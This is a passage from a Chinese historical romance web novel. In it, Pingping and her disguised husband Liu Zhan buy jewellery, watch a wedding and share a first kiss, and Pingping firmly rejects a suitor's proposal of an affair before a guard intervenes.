轻轻旋起嘴角，用惋惜的语气道：“如果你想留在润州，也随你愿。” 萍萍旋即摇头， 她愿意去的， 只是…… “开汤饼店不是你的夙愿吗？”她终究问出来， 追着柳湛目光，锁住，“六年前是你主动约定下半生就留在润州开汤饼店， 再不过问纷纷扰扰。” 柳湛第2回 看见萍萍这种眼神。 上次还是她醒来的时候， 平静中带着探究，疑惑中夹杂哀怨， 深潭一般，他摸不着底，依旧怕极，对视时莫名心慌，就像人一脚踩空。 柳湛眸子转动，脑子也飞转，很快想到说辞：“你知道他们犯的什么案子吗？赝币伪。钞， 从罪皆死。” 萍萍呆住。 铸私钱是死罪， 不仅印钞的砍头， 雕版的、造纸的、甚至卖颜料的， 用假。钞的，俱同伪造，一律处死。 萍萍身上冰凉， 起了一层鸡皮疙瘩。 柳湛就在这时咄咄继续，其气凌人：“此案重大，如不查清， 钱文大乱，物价翔踊，甚至可能动摇国本。家国面前无小我，虽然我也想和你一起经营汤饼店，”说到这他脑中不受控浮现他煮面，萍萍接待的场景，话卡了一下，拼命挥去热气腾腾的回忆，才能讲下去，“但我们不能以一几之私误天下！” 萍萍被说得脸红一阵白一阵，惭愧自己眼界狭窄，自私自利，还有数分不该质疑柳湛的内疚涌上心头。 “我跟你一起去扬州！”她斩钉截铁答应柳湛，又问，“大概什么时候走？” “就这两天吧。”柳湛的手这才从杆上移下，覆住萍萍手背，带着她的手松开扫帚。 “走吧。”他说道。 萍萍便去放扫帚，离店锁门。她落锁时心里空落落，抬眼仰望三水汤饼的招牌，终忍不住央求柳湛：“官人，等案子结了我们再回来开好吗？” 柳湛无语，怎么又绕回来？ 汤饼店汤饼店，三句不离这破地方，竟磁石一般牢牢吸引住她。 办完案他要带她回东宫的，自然不会回来，柳湛暗叹口气，耐着性子柔声规劝：“萍萍，今日你髻上落了两瓣海棠花，可还记得？” “记得，”萍萍点头，“你替我拂去了。” 只是不知他为什么现在说这个？ 柳湛沉声：“那海棠花绝不是六年前那朵。” 萍萍怔怔的，柳湛续道：“人亦如此，沧海桑田，许多变幻，如今我人在局中，很多事情，不得已为之，也有许多，不得已不为。” “所以我们不一定还回来润州，对吗？”萍萍仰着脑袋，睁圆杏眼对视柳湛。 柳湛点头：“我不想骗你。” 官人如此坦诚，萍萍觉着自己也不应该再扭捏：“好，官人去哪，我就去哪里。” 她最后眷恋地看了眼铺面，狠心转身，大步流星走远，好久，才敢慢下脚步。柳湛唇角泛笑，过来牵起她的手。二人一道往朱方巷走，黄昏暮影，天地沉闷，逐渐褪色的夕阳照耀下，萍萍微耷着脑袋，柳湛猜测她可能还在伤感铺子，又瞥见前方不远，经常路过但从不打算进去逛的银楼。 宽慰佳人，亦能查案，一石二鸟，柳湛摇了下萍萍的手：“别难过了，前面银楼挑套头面，我送你。” “我有。”萍萍旋即拒绝。 柳湛盯她：“你有什么？戴来戴去只这一支股钗。”他相信天下女子没有不喜欢首饰的，宫里官家一送头面，诸位娘娘就哄好了。柳湛想到这五指蜷曲，将萍萍的手攥得再紧些，微扬下巴：“我乐意送我娘子首饰，怎么了？” 萍萍抿嘴低头，嘴笑弯成了钩。 她没再拒绝，任由柳湛拉着手进入银楼。 刚跨过门槛萍萍就往外退，柳湛蹙眉：又怎么？ 萍萍这时才瞧楼外招牌，玉冠生，难怪了。 这家主要是卖冠子的，一进去满眼都是白玉冠、缕金冠、铺翠花冠，堂放华光。 萍萍从没想过要戴冠子。 因为冠子百两起步，寻常人家不敢望，更不可及。哪怕是富户，这一辈子撑破天，也就买一、两顶，重要场合撑门面。 萍萍直往后退，自家官人的钱刀头舔血挣来的，越发不能挥霍。 柳湛扶住她的肩不让再退了：“跑什么？” 萍萍踮脚，手放唇边，柳湛会意，弯腰歪头，她凑到他耳畔用最小的声音说：“这家东西我们买不起。” 柳湛失笑：“还没进去你就晓得买不起？” 任萍萍好说歹说，他都坚持要进，还将萍萍五根手指扣得紧紧的，不允挣脱。 “这个怎么样？”柳湛指一金玉珠翠，宝蕴光含的垂肩珍珠冠问萍萍， 萍萍眉攒成川字，虽然冠子方面的学识浅薄，但她晓得最便宜的是团冠，然后越大越贵，柳湛指的这个已垂至肩，能吞下两个团冠。 萍萍分唇嗫嚅，官人许是完全不懂首饰，不知深浅的人才敢这么问。正想着，柳湛已指那冠子问店主人：“这个怎么卖？” “二百两。” 店主人报完价，萍萍情不自禁张大嘴巴，柳湛表情却无一丝变化，她睹着，心想：他多半是疯了。 她晓得官人是想把最好的送给她，但她不能糟蹋他辛辛苦苦挣来的钱，萍萍摁住柳湛准备掏袖袋的手：“我不喜欢这个。” “那你挑一套喜欢的。”柳湛垂首，这垂肩冠确实一般。 萍萍假装挑选，实则快速略过，转了一圈，同柳湛摇头：“好像没瞧见什么中意的。” “哎哟这都没一样入眼？”店主人挑眉叫囔，“小娘子好高的眼光！不是自吹自擂，淮扬一带，冠子比我家多的没几家，一个巴掌数得过来。娘子要是在我家挑不中，别处更挑不出来了。” “我不喜欢冠子。”萍萍找借口，“我想要的是簪钗，这里没有。” 她话音刚落，柳湛就往店主人掌心放了一锭银：“劳烦店家拿些簪钗出来。”他有留意冠子越华丽萍萍略过得越快，便补充道，“捡素雅的。” 店主人收下赏银，竟真去后面取来数盒簪钗，每盒里各四、五支， 萍萍哑然。 只能硬着头皮看了，从左往右，倏然眼睛一亮，众钗当中有一只琉璃镶银的头钗。市面上的琉璃多作花瓶簪，这只却烧成满月形状，插在发间就好像把月亮戴在头上。加之别的簪钗皆是镶金，唯这支镶银，既合清冷意境，又能省钱。 真是哪哪都称她心意。 萍萍拾起满月钗：“我要这支。” 柳湛笑道：“其它呢？” 萍萍一愣，柳湛也一怔。 她一直以为的是一件，但柳湛许诺的却始终是一套，在他看来，头面理当搭配着戴，桥梁钗、金帘梳、梳篦、单股双股，还有耳环，缺一不可。仅仅一只单股钗，哪里拿得出手？ “我戴一支就够了。”萍萍指头上给柳湛看。寻常哪有戴整套头面的机会，感觉要买一套回去，可能就是压箱底，代代传。 柳湛沉吟片刻，抬手捏向萍萍耳垂：“好歹配副坠子。” 她有耳洞，却从未见她戴过耳环，戴起来应该很好看。 在柳湛的坚持下，萍萍最终又挑了对錾刻的金蜂赶花耳环，小巧精致，匠心颇具，耳垂上勾着不能动的是花，下半截坠子是蜜蜂，萍萍当场带上，走起路来蜜蜂乱舞，绕花采蜜。 出银楼街上突然冒出许多人，捧着花烛、妆奁、衣匣等等，还有好些乐伶舞伎，吹拉弹唱，边走边跳，这群人都不走直的，柳湛怕萍萍被撞到，抬手护住，萍萍则伸手扶钗，怕刚买的钗子在混乱中遗失。 二人皆驻足，有俩乐伶留意到他俩，走过来绕二人表演了一圈，萍萍还没反应过来，俩乐伶就摇摇摆摆继续前行，接着，一顶饰绸绣金的花轿经过。 “是迎亲！”萍萍激动地指给柳湛看，虽然没有记忆，但她笃定自己从小到大爱看这，因为此刻心情就突然变得极高兴，花轿走过去了，绿襕袍，罗花打马的新郎官更在前头，萍萍拉起柳湛往前跑，柳湛边跑边问：“你记忆里我没迎过亲吗？” “没有。”人多，萍萍牵紧柳湛穿梭，“我只记得我们过拜堂。” 前方迎面过车，轿子堵住，方才绕圈的乐伶们都停着在等，俩乐伶还记得萍萍柳湛，见二人追过来，笑着走近吹奏，比方才卖力，一只笙一只唢呐，随节奏点头扬下巴。 萍萍目光追随乐伶，左右张望，不自觉咧嘴角笑，皓齿酒窝。 四、五舞伎也凑过来，围着萍萍柳湛绕圈，今日大喜，人人春风满面，唢呐又热闹。萍萍情不自禁学舞伎扭腰、摆手、踏步，一曲终了前面仍堵着不得进，乐伶就掏喜糖要分给二人，一大把糖塞进柳湛怀里：“讨个彩头啊，愿我们今日的主顾也如您二位一般，夫妻恩爱，蜜里调油！” 那糖给太多，从柳湛指缝漏出去一颗，他半蹲去接，口中辨道：“不是。” 他的正妻将由官家拟定，绝不可能是萍萍，且也称不上蜜里调油吧，如今仍有几分做戏的成分。 俩乐伶听见柳湛否认，相视而笑，他们天天迎亲接亲，见得多了，眼前的大官人口是心非，口嫌心爱——他们第1回 吹奏时大官人就紧张得不得了，始终圈臂护住小娘子，生怕她受伤害。 再则，他那双眼啊，简直是线追风筝，从那头到这头，一直长在小娘子身上。 还有，将才明明是嘴角扬起先笑了一下，而后才极速撇下，口称不是。 前面路复通，乐伶舞伎们随队前行，萍萍和柳湛在路边跟着走，到新郎官家门口，马停轿停，围观的百姓一下子变多，萍萍光听见里面念诗拦门，求利市钱红，但就是看不见，踮起脚也看不见。 她落下脚跟，心底叹气，忽觉后背一热，竟是柳湛圈臂将她完全护在怀中。 “劳烦让一让。”柳湛护着她挤入人潮，“让一让。” 门里门外，张灯结彩，正进行到克择官望门“撒谷豆”。 说是“谷豆”，但其实包含五谷、钱、果和糖，四面八方滚，孩童们一拥而上，争相拾取。有个孩童随糖倒退，眼看就要撞到萍萍身上，她伸手柳湛也伸手，同时按住孩童。 “小心。”萍萍提醒。 孩童扭头瞟她一眼，攥着糖跑远了。 萍萍回头同柳湛说笑：“虽然没有记忆，但总觉着我小时候肯定也这样捡过糖。” 柳湛盯她少倾，轻轻一笑：“看着像是会干这种事的。”说完抿住双唇。 萍萍本就在柳湛怀里，稍稍后仰，轻靠上他胸膛，然后就感觉这胸膛也在朝前用力，似要完全粘乃至嵌进她的后背里。 萍萍侧仰首觑柳湛，他正直视前方，似看迎亲入迷。 克择官执着花斟又撒一回，许多人捡了糖径直剥开吃，见那糖和乐伶给的蜡纸一样，萍萍便也剥开一颗，送入口中。又听左右闲聊，说这糖有数种口味，萍萍便回头问柳湛：“你吃的什么口味的？” “甜的。”柳湛答完，萍萍错愕。 她说真相：“你压根没吃。” 柳湛不会吃这种来路不明的食物，将方才装的那把糖一股脑转交给萍萍：“留给你吃。” “让一让，让一让！”新郎家的家仆驱散人群，从轿子到家门口辟开一条通道，家仆们麻利铺好一卷青席。礼官 这时才囔：“请新人下轿——” 轿往前倾，两位女使扶出新娘，销金盖头遮面，只能瞧见她的红罗大袖，和同色的销金裙，红霞帔，萍萍痴痴凝视，虽然没有迎亲的记忆，但有拜堂的，她也穿过类似的一身，但盖的不是绸缎盖头，而是能瞧见面目的绛纱，纱罩住她头戴的云月纹缕金冠，萍萍立马回头告诉柳湛：“我戴过冠子的！” 柳湛嗯了一声，哪个女子不爱戴漂亮冠子，她后悔又想买哪个了，明天回去买便是。 “我们拜堂的时候我戴的冠子。” 鞭炮炸着，唢呐吹着，四周人声鼎沸，柳湛少听一个“的”字，以为她想封御侍的仪式上戴冠子，俯视萍萍，随口就应：“好。” 萍萍嗫嚅。 新娘子进了门，天也渐黑，门前一下冷清下来，萍萍和柳湛跟着围观的百姓散去。好在这一趟顺路，朱方巷就在不远处，二人牵手归家，越走行人越少，到最后只一条窄巷和天边月亮。 月华如练，满月冰盘，她突然想起来今天竟已是三月十五：“今天已经十五了，难怪，难怪。” 难怪月亮又圆又大。 她抬手摸钗，反复摩挲，嘴角一直弯着，酒窝深陷。 柳湛瞥萍萍，瞟钗，又瞧天上的溶溶月，笑道：“你好像很喜欢月亮？” 怎么这么宝贝高兴？这月钗料子很低廉的，既然喜欢，日后回去东京，给她再打套有份量的，都呼应皓月，她岂不是会更高兴？ 柳湛完全没意识到自己正想方设法博佳人一笑。 萍萍停下脚步，半转身，似乎有什么极其重要的话要讲，柳湛便也驻足，微微歪头，萍萍没被牵着的那只手空攥胸前：“因为……因为我一直把你当月亮！” 柳湛缓慢挑眉，只听天子明如日，她的比喻倒新鲜。 “我在西宁醒来，靠着石头，脑海里第一段冒出的记忆就是你，你侧首看来，我从来没见过这么好看的男人，你穿着白袍，开口讲我听过最温润的官话，我想，你就是仙人，就是月亮！”萍萍激动得耸肩，复又垂首，声音也变小：“后来我渐渐恢复多了记忆，得知你是我的官人，第一反应竟是自卑，我何能何德能攀上月亮。” 她是地上凡俗物，如何堪配太阴君。 萍萍重扬起脑袋，眸光灼灼，既大胆又诚挚：“总之我很喜欢月亮，也很喜欢你。” 她现在牵着月亮，戴着月亮，天上还有一轮。 黑夜里，柳湛脸颊暗自发烫。 萍萍和他十指紧扣往家走，两人再无话讲，但手上皆在用力，拼命把十指扣紧，萍萍想：官人说六年前的海棠不是如今的花，但今晚的月亮还是六年前的月亮。 她朝柳湛靠近数分。 柳湛这厢却十分紧张，从未有过这种情况，每走一步更添一份忐忑，但心里却高兴的，甚至还有点希望这条路永远走不完。 他也不自觉朝萍萍方向挪了一寸。 于是两人越走越近，原先牵着手中间有半身距离，现在是胳膊贴着胳膊，且两只胳膊都在用力相抵，却依旧谁也不讲话。 到门前萍萍单手开锁，另外一只手还反拧牵着，两人的姿势分外别扭，但没有任何一个人提出异议。 砰——砰—— 锁开的那一霎忽闻巨响，萍萍和柳湛循声望去，是那新郎官家的方向绽放烟花。 “烟花。”萍萍呢喃。 “嗯。”柳湛沉沉应声。 两人只瞥了须臾就无心再赏烟花，试图手牵手，胳膊贴胳膊，，并排挤进门，果不其然卡住了，又你让我，我让你：“你先。” “还是你先。” 突然都变得极其客气。 萍萍反锁门，柳湛伫在身后等她，她锁好一转身就看见他低下来的脸，二人俱屏息。 他们互相看着对方的眼，然后都瞟向唇。 柳湛心忖，如果点到即止，应该不算蜂狂蝶乱，不算失德。 他就只尝一尝…… 柳湛弯腰，企图飞快在萍萍唇上一啄，然而四瓣相触的瞬间，他就明白了，有些事想是一回事，真发生了又是一回事。方才敢那样想，因为没有和想吻的那个人试过。 星火燎原，非他所能掌控。 粘了几刹，萍萍欲分开，柳湛却轻蹙两眉，似乎不满她的动作，他不由分说托住她的后脑勺，按着脑袋迫使四瓣唇继续胶黏。他无师自通转头，一会吸吮一会舌尖轻触，逐步加深，开闸的洪，断没有再收回去的道理，只能汹涌澎湃。 还有她那对坠子，摇摇晃晃，早就令他心神荡漾，柳湛伸手摸向那对蜜蜂，捧着她的脸，从唇挪到唇角、面颊、脖颈再到耳垂。 萍萍一开始被柳湛气势慑住，完全不能动弹，后来才抬起两只藕似的胳膊搭上柳湛肩头，箍着他的脖子，她的指腹在他后脖颈游走，然后往上，摸到他耳后那颗小痣。 柳湛的欲。念在这一霎到极点，喉结滚动，喘。息。粗。重，崩堤只在瞬间。 不可。 此刻若继续到底，是偷试，是苟合，无礼未封，不成体统。况且他从未有过，第一次怎么也要尊之重之，先礼后行。 他用最后一丝理智迫捉住萍萍的手，将她的胳膊带离肩膀。 然后，极其艰难缓慢地后仰，上身一寸寸与温床般的萍萍分开。 第35章 第三十五章 相好 柳湛放开她的手， 重重叹了口气。 萍萍不知柳湛顾忌，在她眼里他们是夫妻，记忆里拜过堂自然也有洞房花烛， 有何不可？ 于是她笑吟吟抬臂重搭到柳湛肩上， 柳湛伸手去捉， 她却反手在他掌心挠了一下，柳湛虎口瞬间收紧，掐着她的手乃至整个身体， 一动不动， 良久，喘。息道：“不要动。” 萍萍定住， 略微吃惊。 柳湛再次松开她的手，后退半步。为避免定力不够，他别过脑袋不看她：“我待会还要去衙门。”他察觉到墙外异动，眼神逐渐清明，“而且——外面有人。” 萍萍原本闭着唇，闻言张嘴又抿了下，微微耸肩。 少倾， 她向柳湛做口型：外面是谁呀？ 柳湛别首就是为了不看她， 却又不自觉余光偷窥， 读出唇语。 外面的脚步轻且稳， 来人内力不俗，且一到墙边就驻足静伫，这是蒋望回的一贯作风， 柳湛却对萍萍道：“应该是衙门里的人吧。” 都追到这里来了？ “是不是公事很急？”萍萍关切。 柳湛点头：“正是关键时候。” “那你快去呀！”事急从权，萍萍催促，“万一耽误了你要挨林公骂的。” 柳湛浅笑：“他不会骂我。” 倒不敢骂。 “总之你快去吧， 查案重要。”萍萍近前，上手推他肩膀，两只掌心一贴，柳湛顿时心口又发烫。 他赶紧逃离，但临到门前还是停下脚叮嘱：“你在家里好好的，等我回来。” 萍萍含笑点头，摆手道：“你快去吧。” 柳湛这才出门，果不其然，蒋望回候在外面。 两人默契走至暗处，离墙稍远，四下寂静，蒋望回掏出整理好的名录，呈递柳湛。 柳湛从上往下扫 ，各家往来银楼的名号，融银所铸头面品类、项目，皆一行行列清，工整小楷，因为刚写不久，纸上犹有墨香。 “还是你办事靠谱。”柳湛感叹。 蒋望回埋首，并不邀功：“来往的商铺、银两并不多，所以查得快。”他抬起脑袋，“属下应该没有遗漏。” “嗯。”柳湛颔首，他看名录上都没有萍萍买钗的那家玉冠生。 “而且——”蒋望回皱着眉头，眸中隐有怒色，“他们各家银楼账目都不避人的。” “他们肆无忌惮。”柳湛旋即接话。 蒋望回顿了少倾，迟疑轻声：“背后……是那位吗？” 柳湛转过脸来，挑眉笑看蒋望回：“你觉得呢？” 蒋望回即刻拱手：“属下不敢妄猜。” 柳湛倒是无甚惧怕：“总要会一会。”他启唇，似还有话要同蒋望回讲，却 眺了眼远处，缓缓阖唇。 蒋望回亦戒备盯着巷子入口。 不久，袁未罗匆促跑进巷内，毛毛躁躁，径直就要去拍萍萍家大门，蒋望回及时唤道：“阿罗。” 袁未罗身子转了一整圈，还是没瞧见，蒋望回无奈再喊：“这边。” 袁未罗这才朝黑暗奔来，开门见山：“郎君，她们招了。” 柳湛旋即侧首吩咐蒋望回：“我去一趟刑狱司，”他下巴朝萍萍家的院墙挑了挑，“帮我再守一夜。” * 家中，萍萍先把满月钗摘下，笑着端详半晌，才收好。 想着过几天要离开，她开始清点行李： 身体要继续调理，厨房里还剩的三包药带上。 吸江楼里柳湛给买的几套，是她最好的衣裳，也带上，以后体面场合穿。 再带几套日常的，余下的衣裳和带不走的锅碗瓢盆，洗面汤车，还有三水汤饼铺，都要尽快盘出去。 待做的事情太多，萍萍索性铺纸研墨，逐条拟定清单，正写着，外头拍门：“萍娘子，萍娘子！” 是杨婆的声音，萍萍顺手操起桌上油灯，照着路小跑开门：“干娘，怎么了？” 杨婆一手提灯，另一只手上来就要挽萍萍胳膊：“快跟我回家瞧瞧，我那车推回来时还好好的，刚才想挪位置，突然怎么推都推不动了。” 萍萍回望院内，她的洗面汤车带不去扬州，要不留给杨婆？算了，洗面汤车和茶汤车还是有很大区别。 “等一下，我把灯放好。”萍萍吹芯灭火，放好油灯锁好门，才接过杨婆的灯笼，一道匆匆赶往杨婆家中。 刚要绕进纵巷，萍萍发现张记门上全贴了白叉封条，夜风一吹，摇曳的灯笼照白条黑字，万分萧瑟。 萍萍脚步慢下来：“这怎么封了？” 杨婆凑近附耳：“听说啊……”她下巴朝封条方向一点，“张屠户犯了重罪，特别严重，到时候不只他一人，全家都得杀头。” 萍萍心一沉，该不会和官人说的伪钱案有关吧？ 张丈贩猪，生意做得非常大，是不是无意中流通了假。钱？ “知道是什么罪吗？”萍萍小声问。 “都在传他卖的瘟猪吃死了人……唉！”杨婆肘拐了萍萍一下，“别讨论这了，快回去帮我瞧车！” 萍萍赶紧跟着杨婆继续跑，脚下一步接一步，灯笼左摇右摆，这一带全是张屠产业，沿路封条，杨婆不让萍萍说，自己却禁不住又感慨起来：“你说啊，人这一辈子，争这挣那，结果呢一大家子，啪，说没就没了，再过几年还有谁记得你？” 想这张屠满门抄斩，往后连个收尸上坟的人都没有，杨婆自己也无后代，兔死狐悲，唏嘘不已。 像她们这种无人烧纸的，就应该活的时候多挣些棺材本，带下去才够用。 杨婆愈发觉得自己做得对，看向前方提灯照路的萍萍，默道：萍娘子，莫怨老身。 杨婆斜后方，张家被查封的阁楼屋顶，蒋望回屈膝弓起一只腿，手搭膝上，默默注视这一切。 他身后是今夜的圆月，高挂空中。 云来月走，悄往东挪，润州城东，淮南东路茶盐司通判杨廉的别院梧桐树下，掘地三尺，挖出二十余箱白银。 仍在继续，后院快被挖空了，狱卒们依旧一箱箱往地面上送银子。 每一箱都呈到林元舆面前。 柳湛身后“随侍”，林元舆不敢坐，站着看一只只双人合抱的箱子打开，里面全是融掉官银后重铸的银砖。 林元舆已经得了柳湛吩咐，下令每一箱都先着三狱卒重复清点三遍，确认数目后，会计时时录入。 子时三刻，才往横往纵，都挖不出来了。 林柳二人最后离开，林元舆执着会计录好的账目，同柳湛道：“老夫这就回去写折子，上报官家。” 天上，灰蒙蒙的云又来罩月。 杨婆家，萍萍蹲在茶汤车前摆弄，她让杨婆提灯帮忙照亮，杨婆走也不是，提别的也不知，不安搓手，杆动灯笼跟着晃。 “好了！”萍萍起身，拍去手上浮灰，“您这是轮子里面卡石头了。” “是、是吗？”杨婆讪笑，“老身老眼昏花，都没瞧见……” “没事，我已经弄出来了。”萍萍笑着朝门口迈了一步，“那我回去了？” 杨婆却急忙跑过来挽住萍萍：“唉，等等！” 萍萍疑惑扭头，笑容未敛，杨婆踮脚凑到萍萍耳边：“我今天买了酥油鲍螺。” “吃不完，你分一点带回去。”她又说，拉着萍萍往屋内走。因为平常两家经常分享吃的用的，萍萍不觉异常，跟着进屋。 杨婆麻溜掌灯，点燃一根白蜡。 萍萍瞧见发问：“干娘今日怎么还点蜡烛？” 平时他们都用一茎灯草燃油灯。 “唉，眼睛不好，屋里太暗总不小心磕碰，只能点亮堂。” “干娘平日多小心。”萍萍柔声劝慰，而后环视屋内，只正堂摆有一个食盒。 以往她们买的糕点果子皆用油纸包裹，食盒只有高档铺子才用，所以萍萍一开始还不敢确信，缓缓走到桌边，瞅见盒盖上雕着个汪字。 “庄泉汪家的？”她小声问杨婆。 杨婆朝萍萍眨眼点下巴，可不是么？ 萍萍抿唇笑，汪家糕点铺卖的酥油鲍螺可是全润州公认的，最好吃的酥油鲍螺。 她以前下狠心买过一个，人家不给食盒，当场吃了，名副其实。 萍萍揭开盒盖，里面两层八个酥鲍。她脑袋斜向杨婆那边：“这得多少钱？” 杨婆良久不答，萍萍这才看向杨婆，干娘眼睛却始终注视萍萍背后，萍萍随之转身，就瞧见不足三尺外，面对面伫着鹤氅玉冠的裴小官人。 屋内白烛将他照得仪表堂堂。 杨婆甜言说诱：“其实呐，这盒是裴小官人晓得娘子爱吃酥油鲍螺，特地跑遍全城去买的。” 萍萍瞬间敛笑，冷脸冷脸睃着杨婆：干娘不讲，他又如何晓得？ 仿佛能洞悉萍萍在想什么，裴小官人抬手轻道：“在下……是真的晓得。” 见他抬手欲触，萍萍立马一鼓作气后退三步，远离裴小官人也远离杨婆。 杨婆见状暗叹，落花有意，流水无情，可花却偏偏痴追流水，她看多半不成，但拿人嘴软：“是啊，裴小官人真晓得。” 还在说胡话，萍萍拔腿欲往门口走，杨婆连忙拦住：“唉，娘子莫急着走！” 萍萍往左杨婆就往左，往右杨婆就往右，她又不好推搡老人家，只能定住。 杨婆脸上堆笑，软言软语：“好歹吃一个，别辜负了我们裴小官人一片心意。” 萍萍冷冷注视，心道我要是不辜负他的心意，才是大错特错。 想到这，她深吸口气回转身，重新面对裴小官人，神色肃然，语气锵锵：“小官人，我最后敬您一声小官人，承蒙您从前照顾我生意，虽然不知道使君是否有妇，但罗敷已自有夫。”她朝侧上方拱手，做揖拜状：“我与我夫君拜天地喝交杯酒，在花烛底下发誓，这辈子心意如胶，白头偕老，今生今世绝不和离！”她转半个身子，坦荡对视裴小官人双眼，斩钉截铁道：“所以小官人的心意我注定辜负。” 她稍稍压低下巴：“小官人不如早做其它打算，天涯何处无芳草，自有芬芳别处开。” 裴小官人静静听萍萍讲完，自始至终未流露悲戚之色，亦无神伤，他好像没听见她最后一句，仍拣倒数第二句说，笑道：“没叫你跟他和离。” 裴小官人缓缓扬起两侧唇角，笑意愈发明显：“我只想和娘子相好。” “都说了我已经有官人了！”萍萍急，这人怎么听不懂话呢？ 裴小官人却神色自若，娓娓道来：“父母之命，媒妁之言，这 世上多得是夫妻一世，到死都不是相好的。“他笑着抬手，似邀约：“娘子这辈子可与他做夫妻，与我做相好。” 第36章 第三十六章 三个男人一台戏 所言所思太过惊世骇俗， 远超萍萍认知。她听见了，脑子却不敢信，反应不过来， 耳朵也自动封住、遗忘：“你说什么？” 裴小官人笑了笑， 放下手， 温情脉脉看着她：“半年前我偶然路过朱方巷，在娘子的洗面摊上洗了一回脸，就对娘子一见钟情。”他轻轻摇了下脑袋， “你听着可能荒诞， 我当时也不敢相信，但确实是二十余年从未有过的悸动， 朝思暮想，魂不守舍，说句自轻自贱的话，见不到娘子，我就跟条丧家犬似的……” 萍萍不愿听他啰嗦，转身又要走，裴小官人旋即眼神示意杨婆， 同时改口：“娘子先听我把话说完！” 杨婆领会， 堵在门前， 还捂胸口。 萍萍晓得杨婆心脏不好， 她还陪着看过一回郎中。萍萍吁口气，背对裴小官人立定。 “为天天得见娘子，我搬来朱方巷， 想近水楼台，总有老天见怜，与娘子结发那一日， 可我派去打听娘子爱好的长随却回报说，娘子早已嫁人。”虽然萍萍背对着，瞧不着，裴小官人仍垂首，眸中尽是哀痛之色，“恨不相逢未嫁时，我知道，来晚的人，只能忍痛割爱……” 萍萍闻言转回身来：“既然你早就决定放手，那现在就应该打开大门，放我出去，今后再不相见。” 裴小官人摇头：“我做不到。”他凝睇萍萍，那一双饱含深情和委屈的眸子似乎在斥责她，为什么总说冷冰冰伤人的话？为什么不肯把情意分他半分？ “情难自抑，更难戒，我还是想陪在娘子身边，既然娘子已经嫁人，我就只能退而求其次，不要名分。” 萍萍缓缓瞪大双眼，到此刻，她才敢笃定她之前听的没错，他的确说过夫妻之外做相好，和他现在讲的不要名分一个意思。 萍萍手藏在袖子里不住颤抖，胸脯也起伏得越来越剧烈。 裴小官人劝道：“娘子莫要生气，我也是不得已才出此下策。” 呵——萍萍冷哼，她才不会为了不值得的人生气，且早就明白，这种情况下生气没用，她只是觉得，人怎么可以厚颜无耻成这样？他怎么能从容不迫讲出滑天下之大稽的混账话？！ 萍萍吁了口气：“我不议论别人家，反正我和我官人是相好才结的夫妻，夫妻既是相好。我只他一个，他也只我一个，再容不下第三人。莫说做人要讲良心，就是一片痴心，我此生此世也只系在他身上。” 她稍微偏首，主动去追裴小官人目光，这还是他第1回 遇此优待，立刻生了光彩，脖颈和背都挺得直直的。 萍萍问他：“你是读书人，可曾读过诗三百里的《行露》？”她小小一女子，此刻语气神态，竟有岳峙渊渟的味道，“‘虽速我讼，亦不女从’。” 诗经召南行露，以诗叙事，古有恶男以权压人，企图逼娶一已有夫家的女子，女子却将男子比作鼠雀之辈，誓死不从。 虽速我讼，亦不女从，纵使逼我上公堂，也不嫁你黑心郎！ 裴小官人之前蹙频说笑皆游刃有余，闻听《行露》却突然破功，不仅脸色崩裂，双臂也抖起来，萍萍再看时，什么柔情文雅，什么哀怨体贴，在他脸上荡然无存，只剩阴鸷。 他用鹰狼一般的一双眼睛，像盯猎物那样恶狠狠紧盯萍萍。 她突然害怕起来，觉得他比碑林里意图取她性命的那帮人还危险可怖。 得赶紧出去！ 逃！快逃！ 萍萍不再顾忌，推开杨婆，欲拔门梢，杨婆又来阻，萍萍怒斥：“哄诱通。奸，罔顾人伦，十恶之首，你再帮他，是不是也想换一副重囚枷钉？” 杨婆被唬得一愣，萍萍趁机跨出屋外，疾走出院门。 这条街除却杨婆家，余下皆是张屠产业，尽数查封，人猪撵尽，到了晚上，一盏灯都不亮，围墙楼宇在漆黑中愈显高大。萍萍总觉道路两侧的阁楼随时都要压下来，沿街的惨白封条被风吹得呼呼直响。她手中无灯，只能借着月色赶路，越走越快，为了给自己壮胆，每一步都踩得极重。再往前一段路连月光都不照了，偏偏这时候，萍萍听见后面的脚步声。 咔哒——咔哒—— 木屐的声音。 只有裴小官人披鹤氅，着木屐。 春来夏近，晚上已经不冷，萍萍却瞬间骇出一身冷汗，脚下愈快，不敢回头。 裴小官人在后面悠哉悠哉注视萍萍。 他经常穿木屐光顾她的洗面汤，可以做到步子极轻，甚至悄无声息，这会却特地弄出响动，就是要她听见，听得清清楚楚，明明白白。 裴小官人抿了下唇，故意收敛脚下。 脚步声骤然消失，萍萍疑惑，虽依旧不敢回头，但步子已经没有方才那么慌乱和快了。 咔哒、咔哒、咔哒，他倏地加快，萍萍果然被惊得跑起来，黑暗中裴小官人愉悦地勾起唇角，无声开怀。 猫捉弄耗子，原来是这般感觉。 好了，不逗她了。 可以开捉了，以后她注定是他的，裴小官人正欲纵身跃至萍萍身前，忽有一人从天而降，比他高还比他壮，挡在他和萍萍中间，沉声打招呼：“萍娘子。” 地上数片落叶，被风卷起，裴小官人心下一惊，这人之前藏在哪里？自己怎么一点也没察觉？ 前方月华复照，看清来人面貌，裴小官人即刻咬牙，而后调头纵身，迅速隐没离开。 来人是蒋望回。 他之前一直匍匐在杨婆家房顶，屋内谈话尽数听清。 后又目送萍萍离院，在痛打杨裴二人还是继续保护萍萍中犹豫一刹，最终选择后者，一路跟随。 原本决定始终隐于暗处，但裴某着实恶劣，蒋望回终在关键时刻现身。 萍萍听见男声，第一反应这不是姓裴的嗓音，但到底是谁？紧张之下，无法辨认。 只当仍是歹人，她继续朝前跑，蒋望回不得不再唤：“萍娘子。” 萍萍握拳转身，故作镇定：“谁？谁在哪里？是你……” 她认出蒋望回。 蒋望回迅速从黑暗中走出，与她一道立于月光下。 “你怎么会在这里？”萍萍问他。 蒋望回目视前方：“我办事都是飞檐走壁的，刚好踩到一户民宅，听见梁下对谈。” 沉默少倾，萍萍轻轻追问：“你都听见了吗？” 蒋望回垂下眼帘：“只听见后面那些。” 萍萍一笑，仰面道：“荒谬吧？” 蒋望回扭头看向萍萍，不作回答，反而问另一个问题：“今晚的事你会告诉他吗？” “阿湛吗？”萍萍旋即反问。 蒋望回点点头，最好不要说，太子多疑，难免多心，但这些话不能对萍萍直言，只道：“今夜过后，这登徒子应该不会再敢骚扰你，我们也将离开此地去往扬州。再不会发生的事，再见不到的人，又何必说出来，让你官人徒增痛楚。” 萍萍当然舍不得官人伤心，立马狠狠点了下脑袋：“你说的对，我不会说的。且眼下正是案子最关键紧急的时刻，官人天天忙得一个人当三个人用，我又怎能因为这点小事叨扰他，害他分心。” 